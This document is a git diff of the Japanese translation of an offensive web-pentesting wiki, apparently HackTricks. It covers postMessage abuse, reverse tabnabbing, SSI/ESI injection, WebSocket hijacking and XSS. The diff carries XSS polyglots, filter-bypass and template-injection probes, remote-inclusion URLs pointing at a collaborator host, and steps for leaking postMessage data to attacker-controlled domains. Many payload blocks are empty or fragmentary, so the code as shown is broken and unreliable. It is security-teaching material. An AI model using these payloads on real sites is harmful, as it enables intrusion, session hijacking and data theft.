``` ## [ファイルインクルージョン/パストラバーサル](../file-inclusion/index.html) @@ -109,7 +109,7 @@ C:/windows/system32/drivers/etc/hosts http://asdasdasdasd.burpcollab.com/mal.php \\asdasdasdasd.burpcollab.com/mal.php ``` -## [Open Redirect](../open-redirect.md) / [Server Side Request Forgery](../ssrf-server-side-request-forgery/index.html) +## [オープンリダイレクト](../open-redirect.md) / [サーバーサイドリクエストフォージェリ](../ssrf-server-side-request-forgery/index.html) ### 基本テスト ```bash @@ -130,14 +130,14 @@ javascript:alert(1) ## [サーバーサイドインクルージョン/エッジサイドインクルージョン](../server-side-inclusion-edge-side-inclusion-injection.md) ### 基本テスト -```markup +```html x=>alert(/Chrome%20XSS%20filter%20bypass/);> ``` ### ポリグロス -```markup +```html x=>alert(/Chrome%20XSS%20filter%20bypass/);> ``` ## [サーバーサイドリクエストフォージェリ](../ssrf-server-side-request-forgery/index.html) @@ -147,7 +147,7 @@ Open Redirectで使用されるのと同じテストがここでも使用でき ## [サーバーサイドテンプレートインジェクション](../ssti-server-side-template-injection/index.html) ### 基本テスト -```markup +```html ${{<%[%'"}}%\ {{7*7}} ${7*7} @@ -159,27 +159,27 @@ ${{7*7}} ```python {{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}${{<%[%'"}}%\ ``` -## [XSLT サーバーサイドインジェクション](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md) +## [XSLTサーバーサイドインジェクション](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md) ### 基本テスト -```markup +```html ``` ### ポリグロス -```markup +```html ``` ## XSS ### 基本テスト -```markup +```html " onclick=alert() a=" '"> javascript:alert() ``` ### ポリグロス -```markup +```html javascript:"/*'/*`/*--> -->'"/>
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//\x3csVg/\x3e diff --git a/src/pentesting-web/postmessage-vulnerabilities/README.md b/src/pentesting-web/postmessage-vulnerabilities/README.md index 335e71e9c..0c442690c 100644 --- a/src/pentesting-web/postmessage-vulnerabilities/README.md +++ b/src/pentesting-web/postmessage-vulnerabilities/README.md @@ -34,13 +34,13 @@ win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*') ``` **targetOrigin** は '\*' または _https://company.com_ のような URL である可能性があります。\ **第二のシナリオ**では、**メッセージはそのドメインにのみ送信される**(ウィンドウオブジェクトのオリジンが異なっていても)。\ -**ワイルドカード**が使用されると、**メッセージは任意のドメインに送信される可能性があり**、ウィンドウオブジェクトのオリジンに送信されます。 +**ワイルドカード**が使用される場合、**メッセージは任意のドメインに送信される可能性があり**、ウィンドウオブジェクトのオリジンに送信されます。 -### iframe の攻撃と **targetOrigin** におけるワイルドカード +### iframe 攻撃 & **targetOrigin** のワイルドカード -[**このレポート**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/) で説明されているように、**iframed** 可能なページ(`X-Frame-Header` 保護なし)を見つけ、**ワイルドカード**(\*)を使用して **postMessage** 経由で **機密** メッセージを **送信している** 場合、**iframe** の **origin** を **変更** し、あなたが制御するドメインに **機密** メッセージを **漏洩** させることができます。\ +[**このレポート**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/)で説明されているように、**iframed** 可能なページ(`X-Frame-Header` 保護なし)を見つけ、**ワイルドカード**(\*)を使用して **postMessage** 経由で **機密** メッセージを **送信している** 場合、**iframe** の **origin** を **変更** し、あなたが制御するドメインに **機密** メッセージを **漏洩** させることができます。\ ページが iframed 可能であるが、**targetOrigin** が **ワイルドカードではなく URL に設定されている** 場合、この **トリックは機能しません**。 -```markup +```html \\")) result.message // "'"\" ``` -この脆弱性の文脈では、`File` オブジェクトはその読み取り専用の `name` プロパティのために特に悪用されやすいです。このプロパティは、テンプレートで使用されるときに `escapeHtml` 関数によってサニタイズされず、潜在的なセキュリティリスクを引き起こします。 +この脆弱性の文脈では、`File`オブジェクトはその読み取り専用の`name`プロパティのために特に悪用されやすいです。このプロパティは、テンプレートで使用されるときに`escapeHtml`関数によってサニタイズされず、潜在的なセキュリティリスクを引き起こします。 -- JavaScriptの `document.domain` プロパティは、スクリプトによって設定され、ドメインを短縮することができ、同じ親ドメイン内での同一オリジンポリシーの適用が緩和されます。 +- JavaScriptの`document.domain`プロパティは、スクリプトによってドメインを短縮するために設定でき、同じ親ドメイン内での同一オリジンポリシーの適用を緩和します。 -### e.origin == window.origin バイパス +### e.origin == window.originのバイパス %%%%%%を使用して**サンドボックス化されたiframe**内にウェブページを埋め込む場合、iframeのオリジンはnullに設定されることを理解することが重要です。これは、**サンドボックス属性**とそのセキュリティおよび機能への影響を扱う際に特に重要です。 -サンドボックス属性で**`allow-popups`**を指定すると、iframe内から開かれたポップアップウィンドウは親のサンドボックス制限を継承します。これは、**`allow-popups-to-escape-sandbox`**属性も含まれていない限り、ポップアップウィンドウのオリジンも同様に `null` に設定され、iframeのオリジンと一致することを意味します。 +サンドボックス属性に**`allow-popups`**を指定すると、iframe内から開かれたポップアップウィンドウは親のサンドボックス制限を継承します。これは、**`allow-popups-to-escape-sandbox`**属性も含まれていない限り、ポップアップウィンドウのオリジンも同様に`null`に設定され、iframeのオリジンと一致することを意味します。 -したがって、これらの条件下でポップアップが開かれ、iframeからポップアップに**`postMessage`**を使用してメッセージが送信されると、送信側と受信側の両方のオリジンが `null` に設定されます。この状況は、**`e.origin == window.origin`** が真(`null == null`)と評価されるシナリオを引き起こします。なぜなら、iframeとポップアップは同じオリジン値 `null` を共有しているからです。 +したがって、これらの条件下でポップアップが開かれ、iframeからポップアップに**`postMessage`**を使用してメッセージが送信されると、送信側と受信側の両方のオリジンが`null`に設定されます。この状況は、**`e.origin == window.origin`**が真(`null == null`)と評価されるシナリオを引き起こします。なぜなら、iframeとポップアップは同じオリジン値`null`を共有しているからです。 詳細については**読む**: @@ -158,16 +158,16 @@ bypassing-sop-with-iframes-2.md ### X-Frame-Header バイパス これらの攻撃を実行するには、理想的には **被害者のウェブページ** を `iframe` 内に配置できる必要があります。しかし、`X-Frame-Header` のようなヘッダーはその **動作** を **防ぐ** ことがあります。\ -そのようなシナリオでは、あまりステルス性のない攻撃を使用することができます。脆弱なウェブアプリケーションに新しいタブを開き、それと通信することができます: -```markup +そのようなシナリオでは、あまりステルス性のない攻撃を使用することができます。脆弱なウェブアプリケーションに新しいタブを開き、通信することができます: +```html ``` -### 子に送信されたメッセージをメインページをブロックして盗む +### 子供に送信されたメッセージをメインページをブロックして盗む -次のページでは、データを送信する前に**メイン**ページを**ブロック**し、**子**の**XSS**を悪用して**データを漏洩**させることで、**子iframe**に送信された**敏感なpostmessageデータ**をどのように盗むことができるかを示しています: +次のページでは、データを送信する前に**メイン**ページを**ブロック**し、**子供**の**XSS**を悪用して**データを漏洩**させることで、**子供のiframe**に送信された**敏感なpostmessageデータ**をどのように盗むことができるかを示しています: {{#ref}} blocking-main-page-to-steal-postmessage.md @@ -175,7 +175,7 @@ blocking-main-page-to-steal-postmessage.md ### iframeの位置を変更してメッセージを盗む -X-Frame-Headerがないウェブページをiframeできる場合、別のiframeを含む場合、その**子iframeの位置を変更**することができます。もしそれが**ワイルドカード**を使用して送信された**postmessage**を受信している場合、攻撃者はそのiframeの**オリジン**を自分が**制御**するページに**変更**し、メッセージを**盗む**ことができます: +X-Frame-Headerがないウェブページをiframeできる場合、別のiframeを含む場合、その**子供のiframeの位置を変更**することができます。もしそれが**ワイルドカード**を使用して送信された**postmessage**を受信している場合、攻撃者はそのiframeの**オリジン**を自分が**制御**するページに**変更**し、メッセージを**盗む**ことができます: {{#ref}} steal-postmessage-modifying-iframe-location.md @@ -185,9 +185,9 @@ steal-postmessage-modifying-iframe-location.md `postMessage`を通じて送信されたデータがJSによって実行されるシナリオでは、**ページ**を**iframe**し、`postMessage`を介してエクスプロイトを送信することで**プロトタイプ汚染/XSS**を**悪用**できます。 -[https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html)には、**postMessageを通じた非常に良く説明されたXSS**のいくつかがあります。 +[https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html)に、**postMessage**を通じた**非常に良く説明されたXSS**のいくつかがあります。 -`iframe`への`postMessage`を通じて**プロトタイプ汚染を悪用し、その後XSS**を行うエクスプロイトの例: +`iframe`への`postMessage`を通じて**プロトタイプ汚染を悪用し、その後XSS**の例: ```html diff --git a/src/pentesting-web/reverse-tab-nabbing.md b/src/pentesting-web/reverse-tab-nabbing.md index d5ea75e20..dea3839cd 100644 --- a/src/pentesting-web/reverse-tab-nabbing.md +++ b/src/pentesting-web/reverse-tab-nabbing.md @@ -2,12 +2,12 @@ # 説明 -**攻撃者**が**` -フォルダーに次のページを作成し、`python3 -m http.server`でウェブサーバーを実行します。\ -次に、**アクセス** `http://127.0.0.1:8000/`vulnerable.html、**クリック**してリンクをクリックし、**元の****ウェブサイト**の**URL**が**変更**される様子を確認します。 -```markup:vulnerable.html +フォルダ内に次のページを作成し、`python3 -m http.server`でウェブサーバーを実行します。\ +次に、**アクセス** `http://127.0.0.1:8000/`vulnerable.html、**クリック**してリンクをクリックし、**元の****ウェブサイト**の**URL**が**変更**される様子を確認してください。 +```html:vulnerable.html @@ -37,7 +37,7 @@ ``` -```markup:malicious.html +```html:malicious.html @@ -48,7 +48,7 @@ window.opener.location = "http://127.0.0.1:8000/malicious_redir.html"; ``` -```markup:malicious_redir.html +```html:malicious_redir.html @@ -56,25 +56,25 @@ window.opener.location = "http://127.0.0.1:8000/malicious_redir.html"; ``` -## アクセス可能なプロパティ +## Accessible properties -**クロスオリジン** アクセスが発生するシナリオでは、悪意のあるサイトがアクセスできる **opener** JavaScript オブジェクト参照によって指される **window** JavaScript クラスインスタンスのプロパティは以下のように制限されます: +**クロスオリジン** アクセスが発生するシナリオでは、**opener** JavaScript オブジェクト参照によって参照される **window** JavaScript クラスインスタンスのプロパティは、悪意のあるサイトによってアクセスできるのは以下のものに制限されます: - **`opener.closed`**: このプロパティはウィンドウが閉じられたかどうかを判断するためにアクセスされ、ブール値を返します。 - **`opener.frames`**: このプロパティは現在のウィンドウ内のすべての iframe 要素へのアクセスを提供します。 - **`opener.length`**: 現在のウィンドウに存在する iframe 要素の数がこのプロパティによって返されます。 -- **`opener.opener`**: このプロパティを通じて現在のウィンドウを開いたウィンドウへの参照を取得できます。 +- **`opener.opener`**: このプロパティを通じて、現在のウィンドウを開いたウィンドウへの参照を取得できます。 - **`opener.parent`**: このプロパティは現在のウィンドウの親ウィンドウを返します。 - **`opener.self`**: このプロパティは現在のウィンドウ自体へのアクセスを提供します。 - **`opener.top`**: このプロパティは最上位のブラウザウィンドウを返します。 ただし、ドメインが同一の場合、悪意のあるサイトは [**window**](https://developer.mozilla.org/en-US/docs/Web/API/Window) JavaScript オブジェクト参照によって公開されているすべてのプロパティにアクセスできます。 -# 予防 +# Prevention -予防に関する情報は [HTML5 Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/HTML5_Security_Cheat_Sheet.html#tabnabbing) に文書化されています。 +予防情報は [HTML5 Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/HTML5_Security_Cheat_Sheet.html#tabnabbing) に文書化されています。 -## 参考文献 +## References - [https://owasp.org/www-community/attacks/Reverse_Tabnabbing](https://owasp.org/www-community/attacks/Reverse_Tabnabbing) diff --git a/src/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md b/src/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md index e2f5a8bd4..0f4c19972 100644 --- a/src/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md +++ b/src/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md @@ -6,7 +6,7 @@ **(紹介は** [**Apache docs**](https://httpd.apache.org/docs/current/howto/ssi.html)**からのものです)** -SSI (Server Side Includes) は、**HTMLページに配置され、ページが提供される際にサーバー上で評価される指示文**です。これにより、**既存のHTMLページに動的に生成されたコンテンツを追加**することができ、CGIプログラムや他の動的技術を介してページ全体を提供する必要がありません。\ +SSI (Server Side Includes) は、**HTMLページに配置され、ページが提供される際にサーバーで評価される指示文**です。これにより、**既存のHTMLページに動的に生成されたコンテンツを追加**することができ、CGIプログラムや他の動的技術を介してページ全体を提供する必要がありません。\ 例えば、既存のHTMLページに次のような指示文を配置することができます: `` @@ -15,7 +15,7 @@ SSI (Server Side Includes) は、**HTMLページに配置され、ページが `Tuesday, 15-Jan-2013 19:28:54 EST` -SSIを使用するタイミングと、ページ全体をプログラムによって生成するタイミングの決定は、通常、ページのどの部分が静的で、どの部分がページが提供されるたびに再計算される必要があるかの問題です。SSIは、上記のように現在の時刻などの小さな情報を追加するのに最適な方法です。しかし、ページの大部分が提供される際に生成される場合は、他の解決策を探す必要があります。 +SSIを使用するタイミングと、ページ全体をプログラムによって生成するタイミングの決定は、通常、ページのどの部分が静的で、どの部分がページが提供されるたびに再計算される必要があるかの問題です。SSIは、上記のように現在の時刻などの小さな情報を追加するのに最適です。しかし、ページの大部分が提供される際に生成される場合は、他の解決策を探す必要があります。 ウェブアプリケーションが**`.shtml`、`.shtm`、または`.stm`**の拡張子を持つファイルを使用している場合、SSIの存在を推測できますが、それだけではありません。 @@ -56,17 +56,17 @@ SSIを使用するタイミングと、ページ全体をプログラムによ ``` ## Edge Side Inclusion -情報や動的アプリケーションを**キャッシュする**ことには問題があります。コンテンツの一部は、次回コンテンツが取得される際に**異なる**可能性があります。これが**ESI**が使用される理由であり、ESIタグを使用して**生成する必要がある動的コンテンツ**を示します。\ +情報を**キャッシュすることや動的アプリケーション**に関する問題があり、コンテンツの一部は次回コンテンツが取得される際に**異なる**可能性があります。これが**ESI**が使用される理由であり、ESIタグを使用して**生成する必要がある動的コンテンツ**を示します。\ もし**攻撃者**がキャッシュコンテンツ内に**ESIタグを注入**できれば、ユーザーに送信される前に文書に**任意のコンテンツを注入**できる可能性があります。 ### ESI Detection -サーバーからのレスポンスにおける以下の**ヘッダー**は、サーバーがESIを使用していることを意味します: +サーバーからのレスポンスにおける以下の**ヘッダー**は、サーバーがESIを使用していることを意味します: ``` Surrogate-Control: content="ESI/1.0" ``` -このヘッダーが見つからない場合、サーバーは**ESIを使用している可能性があります**。\ -**盲目的なエクスプロイト手法も使用できます**。リクエストは攻撃者のサーバーに到達する必要があります: +このヘッダーが見つからない場合、サーバーは**それでもESIを使用している可能性があります**。\ +**盲目的なエクスプロイト手法も使用可能です**。攻撃者のサーバーにリクエストが到着する必要があります: ```javascript // Basic detection hello @@ -99,12 +99,12 @@ hello | **ソフトウェア** | **Includes** | **Vars** | **Cookies** | **Upstream Headers Required** | **Host Whitelist** | | :--------------------------: | :----------: | :------: | :---------: | :---------------------------: | :----------------: | -| Squid3 | Yes | Yes | Yes | Yes | No | -| Varnish Cache | Yes | No | No | Yes | Yes | -| Fastly | Yes | No | No | No | Yes | -| Akamai ESI Test Server (ETS) | Yes | Yes | Yes | No | No | -| NodeJS esi | Yes | Yes | Yes | No | No | -| NodeJS nodesi | Yes | No | No | No | Optional | +| Squid3 | はい | はい | はい | はい | いいえ | +| Varnish Cache | はい | いいえ | いいえ | はい | はい | +| Fastly | はい | いいえ | いいえ | いいえ | はい | +| Akamai ESIテストサーバー (ETS) | はい | はい | はい | いいえ | いいえ | +| NodeJS esi | はい | はい | はい | いいえ | いいえ | +| NodeJS nodesi | はい | いいえ | いいえ | いいえ | オプション | #### XSS @@ -139,11 +139,11 @@ Use to bypass WAFs: #### プライベートローカルファイル これを「ローカルファイルインクルージョン」と混同しないでください: -```markup +```html ``` #### CRLF -```markup +```html ``` #### Open Redirect @@ -160,7 +160,7 @@ Use to bypass WAFs: ``` -- レスポンスにヘッダーを追加する(XSSを使用したレスポンスで「Content-Type: text/json」をバイパスするのに便利) +- レスポンスにヘッダーを追加する(XSSを使用したレスポンスで「Content-Type: text/json」をバイパスするのに役立ちます) ```bash diff --git a/src/pentesting-web/websocket-attacks.md b/src/pentesting-web/websocket-attacks.md index 88a8b536a..eb6397f1f 100644 --- a/src/pentesting-web/websocket-attacks.md +++ b/src/pentesting-web/websocket-attacks.md @@ -2,21 +2,21 @@ {{#include ../banners/hacktricks-training.md}} -## What are WebSockets +## WebSocketとは -WebSocket接続は、最初の**HTTP**ハンドシェイクを通じて確立され、**長期間**の接続を目的としており、トランザクションシステムを必要とせずにいつでも双方向のメッセージングを可能にします。これにより、WebSocketは**低遅延またはサーバー起動の通信**を必要とするアプリケーションに特に有利です。 +WebSocket接続は、最初の**HTTP**ハンドシェイクを通じて確立され、**長期間**にわたって維持されるように設計されており、トランザクションシステムを必要とせずにいつでも双方向のメッセージングを可能にします。これにより、WebSocketは**低遅延またはサーバー起動の通信**を必要とするアプリケーションに特に有利です。 -### Establishment of WebSocket Connections +### WebSocket接続の確立 -WebSocket接続の確立に関する詳細な説明は[**こちら**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc)でアクセスできます。要約すると、WebSocket接続は通常、以下に示すようにクライアント側のJavaScriptを介して開始されます: +WebSocket接続の確立に関する詳細な説明は[**こちら**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc)でアクセスできます。要約すると、WebSocket接続は通常、以下に示すようにクライアント側のJavaScriptを介して開始されます: ```javascript var ws = new WebSocket("wss://normal-website.com/ws") ``` `wss`プロトコルは**TLS**で保護されたWebSocket接続を示し、`ws`は**保護されていない**接続を示します。 -接続の確立中に、ブラウザとサーバーの間でHTTPを介してハンドシェイクが行われます。ハンドシェイクプロセスでは、ブラウザがリクエストを送信し、サーバーが応答します。以下の例に示すように: +接続の確立中に、ブラウザとサーバー間でHTTPを介してハンドシェイクが行われます。ハンドシェイクプロセスでは、ブラウザがリクエストを送信し、サーバーが応答します。以下の例に示されています: -ブラウザがハンドシェイクリクエストを送信します: +ブラウザがハンドシェイクリクエストを送信: ```javascript GET /chat HTTP/1.1 Host: normal-website.com @@ -40,7 +40,7 @@ Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk= - `Connection`および`Upgrade`ヘッダーはWebSocketハンドシェイクの開始を示します。 - `Sec-WebSocket-Version`ヘッダーは、通常`13`の希望するWebSocketプロトコルバージョンを示します。 - Base64エンコードされたランダム値が`Sec-WebSocket-Key`ヘッダーに送信され、各ハンドシェイクがユニークであることを保証し、キャッシュプロキシによる問題を防ぎます。この値は認証のためではなく、応答が誤って構成されたサーバーやキャッシュによって生成されていないことを確認するためのものです。 -- サーバーの応答における`Sec-WebSocket-Accept`ヘッダーは`Sec-WebSocket-Key`のハッシュであり、WebSocket接続を開くというサーバーの意図を検証します。 +- サーバーの応答における`Sec-WebSocket-Accept`ヘッダーは`Sec-WebSocket-Key`のハッシュであり、WebSocket接続を開くというサーバーの意図を確認します。 これらの機能は、ハンドシェイクプロセスが安全で信頼性があることを保証し、効率的なリアルタイム通信への道を開きます。 @@ -63,12 +63,12 @@ websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v ``` ### Websockets enumeration -**ツール** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **を使用して、Websocketの既知の** **脆弱性** **を自動的に発見、フィンガープリンティング、検索できます。** +**ツール** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **を使用して、Websocket内の既知の** **脆弱性** **を自動的に発見、フィンガープリンティング、検索できます。** ### Websocket Debug tools - **Burp Suite** は、通常のHTTP通信と非常に似た方法でMitM Websocket通信をサポートしています。 -- [**socketsleuth**](https://github.com/snyk/socketsleuth) **Burp Suite拡張機能** は、**履歴**を取得し、**インターセプションルール**を設定し、**マッチと置換**ルールを使用し、**Intruder**や**AutoRepeater**を使用することで、BurpでのWebsocket通信をより良く管理できるようにします。 +- [**socketsleuth**](https://github.com/snyk/socketsleuth) **Burp Suite拡張機能** は、**履歴**を取得し、**インターセプションルール**を設定し、**マッチと置換**ルールを使用し、**Intruder**や**AutoRepeater**を使用することで、Burp内のWebsocket通信をより良く管理できるようにします。 - [**WSSiP**](https://github.com/nccgroup/wssip)**:** "**WebSocket/Socket.io Proxy**"の略で、このNode.jsで書かれたツールは、クライアントとサーバー間のすべてのWebSocketおよびSocket.IO通信を**キャプチャ、インターセプト、カスタム**メッセージを送信し、表示するためのユーザーインターフェースを提供します。 - [**wsrepl**](https://github.com/doyensec/wsrepl) は、特にペネトレーションテスト用に設計された**インタラクティブWebsocket REPL**です。**受信Websocketメッセージを観察し、新しいメッセージを送信する**ためのインターフェースを提供し、この通信を**自動化**するための使いやすいフレームワークを備えています。 - [**https://websocketking.com/**](https://websocketking.com/) は、**websockets**を使用して他のウェブと通信するための**ウェブ**です。 @@ -76,20 +76,20 @@ websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v ## Websocket Lab -[**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) には、Websocketsを使用してウェブを起動するためのコードがあり、[**この投稿**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) には説明があります。 +[**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) には、Websocketsを使用してウェブを起動するためのコードがあり、[**この投稿**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) では説明を見つけることができます。 ## Cross-site WebSocket hijacking (CSWSH) -**クロスサイトWebSocketハイジャック**、または**クロスオリジンWebSocketハイジャック**は、WebSocketハンドシェイクに影響を与える特定のケースとして**[クロスサイトリクエストフォージェリ(CSRF)](csrf-cross-site-request-forgery.md)**として特定されます。この脆弱性は、WebSocketハンドシェイクが**CSRFトークン**や同様のセキュリティ対策なしに**HTTPクッキー**のみで認証されるときに発生します。 +**クロスサイトWebSocketハイジャック**、または**クロスオリジンWebSocketハイジャック**は、WebSocketハンドシェイクに影響を与える特定のケースとして識別される**[クロスサイトリクエストフォージェリ(CSRF)](csrf-cross-site-request-forgery.md)**です。この脆弱性は、WebSocketハンドシェイクが**CSRFトークン**や同様のセキュリティ対策なしに**HTTPクッキー**のみで認証されるときに発生します。 攻撃者は、脆弱なアプリケーションに対してクロスサイトWebSocket接続を開始する**悪意のあるウェブページ**をホストすることでこれを悪用できます。その結果、この接続はアプリケーションとの被害者のセッションの一部として扱われ、セッション処理メカニズムにおけるCSRF保護の欠如を利用します。 ### Simple Attack -**Websocket**接続を**確立**する際に、**クッキー**が**サーバー**に**送信**されることに注意してください。**サーバー**は、送信されたクッキーに基づいて各**特定の**ユーザーを**Websocket**セッションに**関連付ける**ためにそれを使用している可能性があります。 +**Websocket**接続を**確立**する際に、**クッキー**が**サーバー**に**送信**されることに注意してください。**サーバー**は、送信されたクッキーに基づいて各**特定の** **ユーザー**をその**Websocket** **セッション**に**関連付ける**ためにそれを使用している可能性があります。 -次に、例えば**Websocket** **サーバー**がユーザーの**会話の履歴**を返す場合、**"READY"**というメッセージが送信されると、**単純なXSS**が接続を確立し(**クッキー**は被害者ユーザーを認証するために**自動的に送信**されます)、**"READY"**を送信することで**会話の履歴**を**取得**できるようになります。 -```markup +次に、例えば**Websocket** **サーバー**がユーザーの**会話の履歴**を**返送**する場合、**"READY"**というメッセージが送信されると、**シンプルなXSS**が接続を確立し(**クッキー**は被害者ユーザーを認証するために**自動的に送信**されます)、**"READY"**を送信することで**会話の履歴**を**取得**できるようになります。 +```html `タグの間、またはJSコードを実行できるHTMLイベントの間、または`javascript:`プロトコルを受け入れる属性の間にあります。 +この場合、あなたの**入力**は`.js`ファイルのJSコード内に**反映される**か、``タグの間、JSコードを実行できるHTMLイベントの間、または`javascript:`プロトコルを受け入れる属性の間にあります。 ### \`の中に挿入されている場合、簡単に**``の中に挿入されている場合、簡単に**` ``` @@ -480,7 +480,7 @@ onbeforetoggle="alert(2)" /> ### JSコード内 -`<>`がサニタイズされている場合でも、**文字列をエスケープ**して、入力が**存在する場所**で**任意のJSを実行**することができます。JSの構文を**修正する**ことが重要です。エラーがあると、JSコードは実行されません。 +`<>`がサニタイズされている場合でも、**文字列をエスケープ**し、**任意のJSを実行**することができます。JSの構文を**修正する**ことが重要です。エラーがあると、JSコードは実行されません。 ``` '-alert(document.domain)-' ';alert(document.domain)// @@ -488,23 +488,23 @@ onbeforetoggle="alert(2)" /> ``` ### テンプレートリテラル \`\` -**文字列**を構築するために、シングルクォートやダブルクォートの他に、JSは**バックティック** **` `` `** も受け入れます。これはテンプレートリテラルと呼ばれ、`${ ... }`構文を使用して**JS式を埋め込む**ことができます。\ -したがって、バックティックを使用しているJS文字列の中に入力が**反映**されていることがわかった場合、`${ ... }`構文を悪用して**任意のJSコード**を実行することができます: +**文字列**を構築するために、シングルクォートやダブルクォートの他に、JSは**バックティック** **` `` `**も受け入れます。これはテンプレートリテラルとして知られ、`${ ... }`構文を使用して**JS式を埋め込む**ことができます。\ +したがって、バックティックを使用しているJS文字列の中に入力が**反映**されていることがわかった場合、構文`${ ... }`を悪用して**任意のJSコード**を実行することができます: これは次のように**悪用**できます: ```javascript ;`${alert(1)}``${`${`${`${alert(1)}`}`}`}` ``` -```````````````javascript +```javascript // This is valid JS code, because each time the function returns itself it's recalled with `` function loop() { return loop } -loop`````````````` -``````````````` +loop`` +``` ### エンコードされたコード実行 -```markup +```html

Your sesion has timed out, please login again:

This login box is presented using XSS as a proof-of-concept

") ``` ### 自動入力パスワードキャプチャ @@ -1404,7 +1404,7 @@ changeReq.send('csrf='+token+'&email=test@test.com') ``` ### PostMessageメッセージの盗難 -```markup +```html >Click Me For An Awesome Time @@ -1508,7 +1508,7 @@ xss-in-markdown.md ### SSRFへのXSS -**キャッシュを使用しているサイト**でXSSを取得しましたか?このペイロードを使用して**それをSSRFにアップグレード**してみてください: +**キャッシングを使用しているサイト**でXSSを取得しましたか?このペイロードを使って**それをSSRFにアップグレード**してみてください: ```python ``` @@ -1517,14 +1517,14 @@ xss-in-markdown.md ### 動的に作成されたPDFにおけるXSS -ウェブページがユーザー制御の入力を使用してPDFを作成している場合、PDFを作成しているボットを**だまして任意のJSコードを実行させる**ことを試みることができます。\ +ウェブページがユーザー制御の入力を使用してPDFを作成している場合、PDFを作成しているボットを**だまして**、**任意のJSコードを実行させる**ことを試みることができます。\ したがって、**PDF作成ボットが**何らかの**HTML** **タグ**を見つけると、それを**解釈**し、あなたはこの動作を**悪用**して**サーバーXSS**を引き起こすことができます。 {{#ref}} server-side-xss-dynamic-pdf.md {{#endref}} -HTMLタグを注入できない場合は、**PDFデータを注入する**ことを試みる価値があるかもしれません: +HTMLタグを注入できない場合は、**PDFデータを注入する**ことを試みる価値があります: {{#ref}} pdf-injection.md @@ -1532,16 +1532,16 @@ pdf-injection.md ### Amp4EmailにおけるXSS -AMPは、モバイルデバイスでのウェブページパフォーマンスを向上させることを目的としており、速度とセキュリティを重視してJavaScriptで補完されたHTMLタグを組み込んでいます。さまざまな機能のためのコンポーネントの範囲をサポートしており、[AMPコンポーネント](https://amp.dev/documentation/components/?format=websites)を介してアクセスできます。 +AMPは、モバイルデバイスでのウェブページパフォーマンスを向上させることを目的としており、速度とセキュリティを重視してJavaScriptで機能を補完したHTMLタグを組み込んでいます。さまざまな機能のためのコンポーネントの範囲をサポートしており、[AMPコンポーネント](https://amp.dev/documentation/components/?format=websites)を介してアクセスできます。 -[**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/)フォーマットは、特定のAMPコンポーネントをメールに拡張し、受信者がメール内でコンテンツと直接対話できるようにします。 +[**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/)フォーマットは、特定のAMPコンポーネントをメールに拡張し、受信者がメール内のコンテンツと直接対話できるようにします。 例:[**GmailのAmp4EmailにおけるXSSの書き込み**](https://adico.me/post/xss-in-gmail-s-amp4email)。 ### ファイルのアップロードにおけるXSS(svg) 次のようなファイルを画像としてアップロードします([http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)から): -```markup +```html Content-Type: multipart/form-data; boundary=---------------------------232181429808 Content-Length: 574 -----------------------------232181429808 @@ -1559,13 +1559,13 @@ alert(1); -----------------------------232181429808-- ``` -```markup +```html ``` -```markup +```html diff --git a/src/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md b/src/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md index 431699a30..33af898e1 100644 --- a/src/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md +++ b/src/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md @@ -4,24 +4,24 @@ ## サーバーサイドXSS(動的PDF) -ウェブページがユーザー制御の入力を使用してPDFを作成している場合、PDFを作成しているボットを**だまして**、**任意のJSコードを実行させる**ことができます。\ +もしウェブページがユーザー制御の入力を使用してPDFを作成している場合、PDFを作成しているボットを**だまして**、**任意のJSコードを実行させる**ことができます。\ したがって、**PDF作成ボットが**何らかの**HTML** **タグ**を見つけると、それを**解釈**し、この動作を**悪用**して**サーバーXSS**を引き起こすことができます。 -``タグは常に機能するわけではないので、JSを実行するために別の方法が必要です(例えば、``タグは常に機能するわけではないので、JSを実行するために別の方法が必要です(例えば、` @@ -36,7 +36,7 @@ ### SVG このSVGペイロード内で、前述のペイロードのいずれかを使用できます。Burpcollabサブドメインにアクセスするiframeと、メタデータエンドポイントにアクセスするiframeが例として挙げられています。 -```markup +```html @@ -60,10 +60,10 @@ alert(1); ``` 